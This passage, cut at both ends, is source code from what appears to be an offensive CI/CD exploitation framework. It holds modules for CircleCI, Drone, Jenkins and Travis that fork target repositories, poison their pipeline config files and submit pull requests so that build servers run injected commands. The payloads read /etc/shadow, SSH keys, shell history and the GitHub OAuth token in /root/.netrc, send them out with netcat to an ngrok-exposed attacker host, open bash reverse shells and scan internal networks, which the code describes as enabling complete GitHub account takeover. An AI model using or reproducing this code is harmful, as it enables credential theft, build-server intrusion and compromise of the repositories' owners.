return callback(); 24 | } else { 25 | // Load the .circle.yml file into the repos 26 | circle.loadCircleConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find circle configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | circle.appendCircleConfig(`${repodir}/${ci_targets[t]}/.circleci/config.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for basic recon scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Basic recon scan complete.")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "circle-ci/recon_basic"; 73 | }, 74 | 75 | type: () => { 76 | return "circle"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open circle-CI repositories to 82 | create run some basic recon against the build server. This includes.\n`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Fork all targets")); 86 | log(("2) Clone all forked targets locally")); 87 | log(("3) Start single shell handler")); 88 | log(("4) Load and poison the .circleci/config.yml file of the cloned repos")); 89 | log(("5) Push commited changes, and submit a pull request")); 90 | log(("6) Listen for incoming messages. Close shell once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | injectionString: (port, host) => { 96 | return `\n environment:\n NGPORT: ${port}\n\ 97 | NGHOSTNAME: ${host}\n\ 98 | command: |\n\ 99 | set +e\n\ 100 | mknod /tmp/backpipe p\n\ 101 | /bin/bash 0/tmp/backpipe &\n\ 102 | nc -k -l 12345 0piperz &\n\ 103 | uname -a | nc localhost 12345\n\ 104 | curl ipecho.net/plain; echo | nc localhost 12345\n\ 105 | netstat -la | nc localhost 12345\n\ 106 | cat /etc/hosts | nc localhost 12345\n\ 107 | cat /etc/resolv.conf | nc localhost 12345\n\ 108 | ls -alh /home/*/ | nc localhost 12345\n\ 109 | ls -alh /home/*/.ssh/ | nc localhost 12345\n\ 110 | cat /home/*/.ssh/authorized_keys | nc localhost 12345\n\ 111 | cat /home/*/.ssh/known_hosts | nc localhost 12345\n\ 112 | cat /home/*/.hist | nc localhost 12345\n\ 113 | cat /etc/issue | nc localhost 12345\n\ 114 | cat /etc/shadow | nc localhost 12345\n\ 115 | cat /etc/passwd | nc localhost 12345\n\ 116 | crontab -l | nc localhost 12345\n\ 117 | find / -perm -4000 | nc localhost 12345\n\ 118 | mount | nc localhost 12345\n\ 119 | last | nc localhost 12345\n\ 120 | id | nc localhost 12345\n\ 121 | whoami | nc localhost 12345\n\ 122 | ifconfig | nc localhost 12345\n\ 123 | cat /proc/cpuinfo | nc localhost 12345\n\ 124 | cat /proc/meminfo | nc localhost 12345\n\ 125 | iptables -L -n -v | nc localhost 12345\n\ 126 | echo "ciderdone" | nc localhost 12345\n\ 127 | fclose(piperz)`; 128 | }, 129 | 130 | options: () => { 131 | log(green("\n-------\nOPTIONS\n-------\n")); 132 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 133 | } 134 | } -------------------------------------------------------------------------------- /src/exploits/drone/github_oauth/.drone.yml: -------------------------------------------------------------------------------- 1 | pipeline: 2 | backend: 3 | image: 'ubuntu:latest' 4 | commands: -------------------------------------------------------------------------------- /src/exploits/drone/github_oauth/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | red = chalk.red, 4 | green = chalk.green, 5 | cyan = chalk.cyan, 6 | ngrok = require('ngrok'), 7 | github = require(__dirname + '/../../../lib/gh'), 8 | files = require(__dirname + '/../../../lib/files'), 9 | repos = require(__dirname + '/../../../lib/repos'), 10 | exp = require(__dirname + '/../../../lib/exp'), 11 | drone = require(__dirname + '/../../../modules/drone'), 12 | server = require(__dirname + '/../../../lib/server'), 13 | ng = require(__dirname + '/../../../lib/ng'), 14 | targets = require(__dirname + '/../../../lib/targets'), 15 | repodir = __dirname + '/../../../../repos'; 16 | 17 | module.exports = { 18 | 19 | // This particular run function returns an array of netcat listeners 20 | run: (callback) => { 21 | exp.exploitSingleHarness('github', 'other', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 22 | if (err) { 23 | log(err); 24 | return callback(); 25 | } else { 26 | // Load the .drone.yml file into the repos 27 | drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => { 28 | const append_promises = []; 29 | 30 | // iterate through list of files, find drone configs and append to the file 31 | for (let t in raw_targets) { 32 | append_promises.push(new Promise((resolve, reject) => { 33 | drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, module.exports.injectionString(ng_port, hostname)); 34 | resolve(); 35 | }).catch(err => { 36 | reject(); 37 | log(err); 38 | })); 39 | } 40 | 41 | // Cash in the promises from above 42 | Promise.all(append_promises) 43 | .then(c => { 44 | log(chalk.green("Making pull requests...")); 45 | repos.pullRequestAll(token, 'other', authed_user, raw_targets, () => { 46 | let cbcount = 0; 47 | log(chalk.green("Wating for GitHub Oauth credential theft to complete. Hold on to your butts.")); 48 | duplex.pipe(process.stdout); 49 | nc.on('data', (info, msg) => { 50 | if (msg.toString('utf8').includes("ciderdone")) { 51 | cbcount++; 52 | if (cbcount >= raw_targets.length) { 53 | log(chalk.green("Credential theft scan complete.")); 54 | duplex.unpipe(process.stdout); 55 | nc.close(); 56 | ngrok.disconnect(ng_url); 57 | return callback(); 58 | } 59 | } 60 | }); 61 | }); 62 | }).catch(e => { 63 | if (e) { 64 | log(e); 65 | } 66 | }); 67 | }); 68 | } 69 | }) 70 | }, 71 | 72 | name: () => { 73 | return "drone/github_oauth"; 74 | }, 75 | 76 | type: () => { 77 | return "drone"; 78 | }, 79 | 80 | info: (cb) => { 81 | log(cyan("---\nINFO\n---\n")); 82 | log((`This exploit returns the GitHub OAuth Key that is used to pull the repo down for the build. \ 83 | This credential will usually have permission to access any repository for the owner, on be half of any user (if this is an organization).\ 84 | This means write permission to master branch. This will only work against private repositories, but the access can be far reaching. You know. \ 85 | Complete GitHub account takeover.\n`)); 86 | 87 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 88 | log(("1) Clone all forked targets locally. Drone can't handle PRs from forked repos")); 89 | log(("2) Start single shell handler")); 90 | log(("3) Load and poison the .drone.yml file of the cloned repos")); 91 | log(("4) Push commited changes, and submit a pull request")); 92 | log(("5) Listen for incoming messages. Close shell once executed.")); 93 | return cb(); 94 | // Print information about the exploit 95 | }, 96 | 97 | 98 | injectionString: (ng_port, hostname) => { 99 | return `\n - export NGPORT=${ng_port}\n \ 100 | - export NGHOSTNAME=${hostname}\n \ 101 | - set +e\n \ 102 | - apt-get update && apt-get install -y apt-utils net-tools netcat curl\n \ 103 | - touch /tmp/cider_out\n \ 104 | - cat /root/.netrc >> /tmp/cider_out\n \ 105 | - echo "ciderdone" >> /tmp/cider_out\n \ 106 | - nc $NGHOSTNAME $NGPORT < /tmp/cider_out\n \ 107 | - exit 1`; 108 | }, 109 | 110 | 111 | options: () => { 112 | log(green("\n-------\nOPTIONS\n-------\n")); 113 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 114 | } 115 | } -------------------------------------------------------------------------------- /src/exploits/drone/netcat_reverse_shell/.drone.yml: -------------------------------------------------------------------------------- 1 | pipeline: 2 | backend: 3 | image: 'ubuntu:latest' 4 | commands: -------------------------------------------------------------------------------- /src/exploits/drone/netcat_reverse_shell/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | github = require(__dirname + '/../../../lib/gh'), 6 | files = require(__dirname + '/../../../lib/files'), 7 | repos = require(__dirname + '/../../../lib/repos'), 8 | exp = require(__dirname + '/../../../lib/exp'), 9 | drone = require(__dirname + '/../../../modules/drone'), 10 | server = require(__dirname + '/../../../lib/server'), 11 | ng = require(__dirname + '/../../../lib/ng'), 12 | targets = require(__dirname + '/../../../lib/targets'), 13 | repodir = __dirname + '/../../../../repos'; 14 | 15 | module.exports = { 16 | 17 | // This particular run function returns an array of netcat listeners 18 | run: (callback) => { 19 | exp.exploitMultiHarness('github', 'other', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, hostname_arr, port_arr, server_arr, url_arr) =>{ 20 | if(err){ 21 | return callback(err); 22 | } 23 | // Load the .drone.yml file into the repos 24 | drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => { 25 | const append_promises = []; 26 | 27 | // iterate through list of files, find drone configs and append to the file 28 | for (let t in raw_targets) { 29 | append_promises.push(new Promise((resolve, reject) => { 30 | drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, 31 | `\n - export NGPORT=${port_arr[t]}\n - export NGHOSTNAME=${hostname_arr[t]}\n - set +e\n - apt-get update && apt-get install -y netcat\n - mknod /tmp/backpipe p\n - /bin/bash 0/tmp/backpipe &\n - while true; do sleep 60; echo "Keepalive"; done `); 32 | resolve(); 33 | }).catch(err => { 34 | log(err); 35 | })); 36 | } 37 | 38 | // Cash in the promises from above 39 | Promise.all(append_promises) 40 | .then(c => { 41 | repos.pullRequestAll(token, 'other', authed_user, raw_targets, () => { 42 | return callback(); 43 | }); 44 | }); 45 | }); 46 | }) 47 | }, 48 | 49 | name: () => { 50 | return "drone/netcat_reverse_shell"; 51 | }, 52 | 53 | type: () => { 54 | return "drone"; 55 | }, 56 | 57 | info: (cb) => { 58 | log(cyan("\n---\nINFO\n---\n")); 59 | log((`This exploit takes advantage of open Drone-CI repositories to 60 | create a netcat connection back to the attacker. The end result 61 | is a shell from which to control the compromised Drone-CI container.\n`)); 62 | 63 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 64 | log(("1) Fork all targets")); 65 | log(("2) Clone all forked targets locally")); 66 | log(("3) Start shell handler(s)")); 67 | log(("4) Load and poison the .drone.yml file of the cloned repos")); 68 | log(("5) Push commited changes, and submit a pull request")); 69 | return cb(); 70 | 71 | }, 72 | 73 | options: () => { 74 | log(green("\n-------\nOPTIONS\n-------\n")); 75 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 76 | // Print options for exploit 77 | } 78 | } -------------------------------------------------------------------------------- /src/exploits/drone/nmap/.drone.yml: -------------------------------------------------------------------------------- 1 | pipeline: 2 | build: 3 | image: ubuntu:latest 4 | commands: -------------------------------------------------------------------------------- /src/exploits/drone/nmap/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | drone = require(__dirname + '/../../../modules/drone'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .drone.yml file into the repos 26 | drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find drone configs and append to the file 30 | for (let t in raw_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for nmap scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Nmap Scan Complete")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "drone/nmap"; 73 | }, 74 | 75 | type: () => { 76 | return "drone"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open Drone repositories to 82 | create run some basic recon against the build server. This includes.\n`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Clone all forked targets locally")); 86 | log(("2) Start single shell handler")); 87 | log(("3) Load and poison the .drone.yml file of the cloned repos")); 88 | log(("4) Push commited changes, and submit a pull request")); 89 | log(("5) Listen for incoming messages. Close shell once executed.")); 90 | return cb(); 91 | // Print information about the exploit 92 | }, 93 | 94 | injectionString: (ng_port, hostname) => { 95 | return `\n - export NGPORT=${ng_port}\n \ 96 | - export NGHOSTNAME=${hostname}\n \ 97 | - apt-get update && apt-get install netcat nmap\n \ 98 | - touch /tmp/cider_out\n \ 99 | - nc -k -l 12345 0/tmp/backpipe &\n \ 100 | - nmap -sT 10.10.20.0/24 -Pn >> /tmp/cider_out\n \ 101 | - echo "ciderdone" >> /tmp/cider_out\n \ 102 | - nc $NGHOSTNAME $NGPORT < /tmp/cider_out\n \ 103 | - exit 1`; 104 | }, 105 | 106 | options: () => { 107 | log(green("\n-------\nOPTIONS\n-------\n")); 108 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 109 | } 110 | } -------------------------------------------------------------------------------- /src/exploits/drone/recon_basic/.drone.yml: -------------------------------------------------------------------------------- 1 | pipeline: 2 | backend: 3 | image: 'ubuntu:latest' 4 | commands: -------------------------------------------------------------------------------- /src/exploits/drone/recon_basic/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | red = chalk.red, 4 | green = chalk.green, 5 | cyan = chalk.cyan, 6 | ngrok = require('ngrok'), 7 | github = require(__dirname + '/../../../lib/gh'), 8 | files = require(__dirname + '/../../../lib/files'), 9 | repos = require(__dirname + '/../../../lib/repos'), 10 | exp = require(__dirname + '/../../../lib/exp'), 11 | drone = require(__dirname + '/../../../modules/drone'), 12 | server = require(__dirname + '/../../../lib/server'), 13 | ng = require(__dirname + '/../../../lib/ng'), 14 | targets = require(__dirname + '/../../../lib/targets'), 15 | repodir = __dirname + '/../../../../repos'; 16 | 17 | module.exports = { 18 | 19 | // This particular run function returns an array of netcat listeners 20 | run: (callback) => { 21 | exp.exploitSingleHarness('github', 'other', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 22 | if (err) { 23 | log(err); 24 | return callback(); 25 | } else { 26 | // Load the .drone.yml file into the repos 27 | drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => { 28 | const append_promises = []; 29 | 30 | // iterate through list of files, find drone configs and append to the file 31 | for (let t in raw_targets) { 32 | append_promises.push(new Promise((resolve, reject) => { 33 | drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, module.exports.injectionString(ng_port, hostname)); 34 | resolve(); 35 | }).catch(err => { 36 | reject(); 37 | log(err); 38 | })); 39 | } 40 | 41 | // Cash in the promises from above 42 | Promise.all(append_promises) 43 | .then(c => { 44 | log(chalk.green("Making pull requests...")); 45 | repos.pullRequestAll(token, 'other', authed_user, raw_targets, () => { 46 | let cbcount = 0; 47 | log(chalk.green("Wating for basic recon scan to complete. Sit tight.")); 48 | duplex.pipe(process.stdout); 49 | nc.on('data', (info, msg) => { 50 | if (msg.toString('utf8').includes("ciderdone")) { 51 | cbcount++; 52 | if (cbcount >= raw_targets.length) { 53 | log(chalk.green("Basic recon scan complete.")); 54 | duplex.unpipe(process.stdout); 55 | nc.close(); 56 | ngrok.disconnect(ng_url); 57 | return callback(); 58 | } 59 | } 60 | }); 61 | }); 62 | }).catch(e => { 63 | if (e) { 64 | log(e); 65 | } 66 | }); 67 | }); 68 | } 69 | }) 70 | }, 71 | 72 | name: () => { 73 | return "Drone/recon_basic"; 74 | }, 75 | 76 | type: () => { 77 | return "drone"; 78 | }, 79 | 80 | info: (cb) => { 81 | log(cyan("---\nINFO\n---\n")); 82 | log((`This exploit takes advantage of open drone-CI repositories to 83 | create run some basic recon against the build server. This includes.\n`)); 84 | 85 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 86 | log(("1) Clone all forked targets locally. Drone can't handle PRs from forke repos")); 87 | log(("2) Start single shell handler")); 88 | log(("3) Load and poison the .drone.yml file of the cloned repos")); 89 | log(("4) Push commited changes, and submit a pull request")); 90 | log(("5) Listen for incoming messages. Close connection once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | 96 | injectionString: (ng_port, hostname) => { 97 | return `\n - export NGPORT=${ng_port}\n \ 98 | - export NGHOSTNAME=${hostname}\n \ 99 | - set +e\n \ 100 | - apt-get update && apt-get install -y apt-utils net-tools netcat curl\n \ 101 | - touch /tmp/cider_out\n \ 102 | - uname -a >> /tmp/cider_out\n \ 103 | - curl ipecho.net/plain; echo >> /tmp/cider_out\n \ 104 | - netstat -la >> /tmp/cider_out\n \ 105 | - cat /etc/hosts >> /tmp/cider_out\n \ 106 | - cat /etc/shadow >> /tmp/cider_out\n \ 107 | - id >> /tmp/cider_out\n \ 108 | - whoami >> /tmp/cider_out\n \ 109 | - echo "ciderdone" >> /tmp/cider_out\n \ 110 | - nc $NGHOSTNAME $NGPORT < /tmp/cider_out\n \ 111 | - exit 1`; 112 | }, 113 | 114 | 115 | options: () => { 116 | log(green("\n-------\nOPTIONS\n-------\n")); 117 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 118 | } 119 | } -------------------------------------------------------------------------------- /src/exploits/drone/recon_verbose/.drone.yml: -------------------------------------------------------------------------------- 1 | pipeline: 2 | backend: 3 | image: 'ubuntu:latest' 4 | commands: -------------------------------------------------------------------------------- /src/exploits/drone/recon_verbose/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | drone = require(__dirname + '/../../../modules/drone'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'other', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .drone.yml file into the repos 26 | drone.loadDroneConfigAll(module.exports.name(), authed_user, raw_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find drone configs and append to the file 30 | for (let t in raw_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | drone.appendDroneConfig(`${repodir}/${raw_targets[t]}/.drone.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'other', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for basic recon scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= raw_targets.length) { 52 | log(chalk.green("Basic recon scan complete.")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "drone/recon_verbose"; 73 | }, 74 | 75 | type: () => { 76 | return "drone"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open drone-CI repositories to 82 | create run some basic recon against the build server. This includes multitude of information gathering commands.\n 83 | It can be run against many targets, but you probably want to only run it against one.\n`)); 84 | 85 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 86 | log(("1) Clone all forked targets locally. Drone can't handle PRs from forke repos")); 87 | log(("2) Start single shell handler")); 88 | log(("3) Load and poison the .drone.yml file of the cloned repos")); 89 | log(("4) Push commited changes, and submit a pull request")); 90 | log(("5) Listen for incoming messages. Close connection once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | 96 | injectionString: (ng_port, hostname) => { 97 | return `\n - export NGPORT=${ng_port}\n \ 98 | - export NGHOSTNAME=${hostname}\n \ 99 | - apt-get update && apt-get install -y netcat apt-utils net-tools curl\n \ 100 | - touch /tmp/cider_out\n \ 101 | - set +e\n \ 102 | - uname -a >> /tmp/cider_out\n \ 103 | - curl ipecho.net/plain; echo >> /tmp/cider_out\n \ 104 | - netstat -la >> /tmp/cider_out\n \ 105 | - cat /etc/hosts >> /tmp/cider_out\n \ 106 | - cat /etc/resolv.conf >> /tmp/cider_out\n \ 107 | - ls -alh ~/ >> /tmp/cider_out\n \ 108 | - ls -alh ~/.ssh/ >> /tmp/cider_out\n \ 109 | - cat ~/.ssh/authorized_keys >> /tmp/cider_out\n \ 110 | - cat ~/.ssh/known_hosts >> /tmp/cider_out\n \ 111 | - cat ~/.hist >> /tmp/cider_out\n \ 112 | - cat /etc/issue >> /tmp/cider_out\n \ 113 | - cat /etc/shadow >> /tmp/cider_out\n \ 114 | - cat /etc/passwd >> /tmp/cider_out\n \ 115 | - crontab -l >> /tmp/cider_out\n \ 116 | - find / -perm -4000 >> /tmp/cider_out\n \ 117 | - mount >> /tmp/cider_out\n \ 118 | - last >> /tmp/cider_out\n \ 119 | - id >> /tmp/cider_out\n \ 120 | - whoami >> /tmp/cider_out\n \ 121 | - ifconfig >> /tmp/cider_out\n \ 122 | - cat /proc/cpuinfo >> /tmp/cider_out\n \ 123 | - cat /proc/meminfo >> /tmp/cider_out\n \ 124 | - echo "ciderdone" >> /tmp/cider_out\n \ 125 | - nc $NGHOSTNAME $NGPORT < /tmp/cider_out\n \ 126 | - exit 1`; 127 | }, 128 | 129 | 130 | options: () => { 131 | log(green("\n-------\nOPTIONS\n-------\n")); 132 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 133 | } 134 | } -------------------------------------------------------------------------------- /src/exploits/jenkins/nmap/Jenkinsfile: -------------------------------------------------------------------------------- 1 | pipeline { 2 | agent any 3 | stages { 4 | stage('CIDER') { 5 | steps { 6 | -------------------------------------------------------------------------------- /src/exploits/jenkins/nmap/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | jenkins = require(__dirname + '/../../../modules/jenkins'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the Jenkinsfile file into the repos 26 | jenkins.loadJenkinsConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find jenkins configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | jenkins.appendJenkinsConfig(`${repodir}/${ci_targets[t]}/Jenkinsfile`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for nmap scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Nmap Scan Complete")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "jenkins/nmap"; 73 | }, 74 | 75 | type: () => { 76 | return "jenkins"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit runs a basic nmap scan against the 10.10.0.0/16 network\n 82 | on the Jenkins server. This module will be expanded to scan custom IP ranges.\n 83 | NOTE: This will only work against Jenkins builds spawned from pull requests`)); 84 | 85 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 86 | log(("1) Fork all targets")); 87 | log(("2) Clone all forked targets locally")); 88 | log(("3) Start single shell handler")); 89 | log(("4) Load and poison the Jenkinsfile of the cloned repos")); 90 | log(("5) Push commited changes, and submit a pull request")); 91 | log(("6) Listen for incoming messages. Close shell once executed.")); 92 | return cb(); 93 | // Print information about the exploit 94 | }, 95 | 96 | injectionString: (ng_port, hostname) => { 97 | return `\n sh "#!/bin/bash \\n +"\n \ 98 | "export NGPORT=${ng_port} \\n +"\n \ 99 | "export NGHOSTNAME=${hostname} \\n +"\n \ 100 | "mkfifo piperz \\n +"\n \ 101 | "nc -k -l 12345 0piperz & \\n +"\n \ 102 | "sudo apt-get update \\n +"\n \ 103 | "sudo apt-get install nmap \\n +"\n \ 104 | "sudo nmap -sT 10.10.20.0/24 -Pn | nc localhost 12345 \\n +"\n \ 105 | "echo "ciderdone" | nc localhost 12345 \\n +"\n \ 106 | "sudo fclose(piperz)"\n \ 107 | }\n \ 108 | }\n \ 109 | }\n \ 110 | }`; 111 | }, 112 | 113 | options: () => { 114 | log(green("\n-------\nOPTIONS\n-------\n")); 115 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 116 | } 117 | } -------------------------------------------------------------------------------- /src/exploits/travis/netcat_reverse_shell/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: required 3 | before_script: 4 | - env 5 | - whoami 6 | -------------------------------------------------------------------------------- /src/exploits/travis/netcat_reverse_shell/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | github = require(__dirname + '/../../../lib/gh'), 6 | files = require(__dirname + '/../../../lib/files'), 7 | repos = require(__dirname + '/../../../lib/repos'), 8 | exp = require(__dirname + '/../../../lib/exp'), 9 | travis = require(__dirname + '/../../../modules/travis'), 10 | server = require(__dirname + '/../../../lib/server'), 11 | ng = require(__dirname + '/../../../lib/ng'), 12 | targets = require(__dirname + '/../../../lib/targets'), 13 | repodir = __dirname + '/../../../../repos'; 14 | 15 | module.exports = { 16 | 17 | // This particular run function returns an array of netcat listeners 18 | run: (callback) => { 19 | exp.exploitMultiHarness('github', 'forked', module.exports.type(), 